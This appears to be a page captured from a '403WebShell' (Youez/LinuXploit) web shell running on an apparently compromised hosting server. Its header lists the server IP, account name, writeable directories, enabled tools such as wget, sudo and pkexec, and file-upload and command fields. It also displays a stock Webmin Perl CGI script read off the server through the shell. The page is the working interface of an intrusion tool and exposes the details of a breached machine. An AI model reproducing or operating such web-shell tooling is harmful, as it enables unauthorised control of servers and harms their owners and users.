Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/virtual-server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/virtual-server/import_database.cgi
#!/usr/bin/perl
# Add some databases to this server's control

require './virtual-server-lib.pl';
&ReadParse();
&error_setup($text{'databases_ierr'});
$d = &get_domain($in{'dom'});
&can_edit_domain($d) && &can_edit_databases() && &can_import_servers() ||
	&error($text{'edit_ecannot'});
&set_all_null_print();

# Check databases to import for sanity
@import = split(/\0/, $in{'import'});
foreach $tn (@import) {
	($type, $db) = split(/\s+/, $tn, 2);
	if ($type eq "mysql" &&
	    ($db eq "mysql" || $db eq "information_schema")) {
		&error(&text('databases_eimysql', $db));
		}
	elsif ($type eq "postgres" && $db =~ /^template\d+$/) {
		&error(&text('databases_eipostgres', $db));
		}
	}

foreach $tn (@import) {
	($type, $db) = split(/\s+/, $tn, 2);
	@dbs = split(/\s+/, $d->{'db_'.$type});
	push(@dbs, $db);
	$d->{'db_'.$type} = join(" ", @dbs);

	# Call the grant function to actually allow access
	$gfunc = "grant_".$type."_database";
	if (defined(&$gfunc)) {
		&$gfunc($d, $db);
		}
	&webmin_log("import", "database", $db,
		    { 'type' => $type, 'dom' => $d->{'dom'} });
	}
&save_domain($d);
&refresh_webmin_user($d);
&run_post_actions_silently();
&redirect("list_databases.cgi?dom=$in{'dom'}");


Youez - 2016 - github.com/yon3zu
LinuXploit